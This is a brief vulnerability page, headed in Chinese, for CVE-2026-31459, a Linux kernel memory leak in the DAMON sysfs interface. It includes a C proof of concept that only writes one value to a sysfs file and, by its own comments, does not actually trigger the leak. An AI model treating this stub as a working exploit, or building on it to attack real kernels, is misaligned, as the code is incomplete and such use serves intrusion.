CVE-2026-31459 Linux内核内存泄露漏洞

/* * PoC for CVE-2026-31459 * Conceptual demonstration of sysfs interaction. * Triggering the exact leak requires specific kernel state/failure. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #define SYSFS_PATH "/sys/kernel/mm/damon/admin" void set_attr(const char *file, const char *val) { char path[256]; snprintf(path, sizeof(path), "%s/%s", SYSFS_PATH, file); int fd = open(path, O_WRONLY); if (fd >= 0) { write(fd, val, strlen(val)); close(fd); } } int main() { // Attempt to configure kdamonds to trigger the path set_attr("kdamonds/nr_kdamonds", "1"); // Further manipulation required to hit damon_sysfs_commit_input failure printf("Check dmesg for potential errors or use kmemleak."); return 0; }